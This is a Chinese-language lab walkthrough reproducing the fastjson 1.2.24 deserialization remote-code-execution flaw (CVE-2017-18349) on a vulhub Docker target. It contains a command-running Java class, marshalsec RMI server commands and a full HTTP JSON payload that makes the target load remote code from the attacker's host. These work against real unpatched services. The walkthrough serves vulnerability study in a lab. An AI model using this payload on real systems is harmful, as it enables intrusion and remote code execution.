- fastjson 1.2.24 反序列化 RCE 漏洞复现(CVE-2017-18349)
- 前置环境
- 漏洞环境搭建
- 漏洞复现
- 获取webshell
前置环境fastjson 1.2.24 反序列化导致任意命令执行漏洞
- kali虚拟机,安装好docker,docker-compose
- 宿主机,安装配置好java,python环境
- 虚拟机用NAT网卡模式,可以与宿主机互相通信(可以ping通)
- 在kali虚拟机中,利用vulhub的docker镜像快速搭建。
- 下载 git clone https://github.com/vulhub/vulhub或者直接下载zip文件
- 进入vulhub文件目录, 再cd fastjson/1.2.24-rce
- 启动docker镜像,sudo docker-compose up -d,启动好输入sudo docker ps,看是否成功启动
- 安装好后,输入ifconfig指令,查看虚拟机ip,此时在宿主机访问http://虚拟机ip:8090,可以看到json格式输出
都是在宿主机(攻击机)进行操作。
- 使用com.sun.rowset.JdbcRowSetImpl的利用链,通过 JNDI 注入来执行命令
- 先编译上传命令执行代码,新建 TouchFile.java
// TouchFile.java
// cmd run javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
-
打开终端cmd执行javac TouchFile.java编译,此时生成TouchFile.class文件
-
利用python快速启动临时web服务(ps.省事),python -m http.server 8888
-
利用marshalsec工具(需要maven环境编译),或者直接下载marshalsec-0.0.3-SNAPSHOT-all.jar 链接: https://pan.baidu.com/s/1pDaDDKWD1VmTAmlnQMB-6Q?pwd=rv7u 提取码: rv7u
-
通过java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://宿主机ip:8888/#TouchFile 2335启动RMI服务器,监听2335 端口,并指定加载远程类 TouchFile.class
-
利用burpsuite向kali虚拟机靶场发送payload,带上RMI地址,可以看到上图的RMI服务已经发送了TouchFile
POST / HTTP/1.1
Host: 192.168.132.128:8090
Accept-Encoding: gzip, deflate
Accept: **
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 163
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.31.41:2335/shell",
"autoCommit":true
}
}
- 成功获得root权限,执行whoami



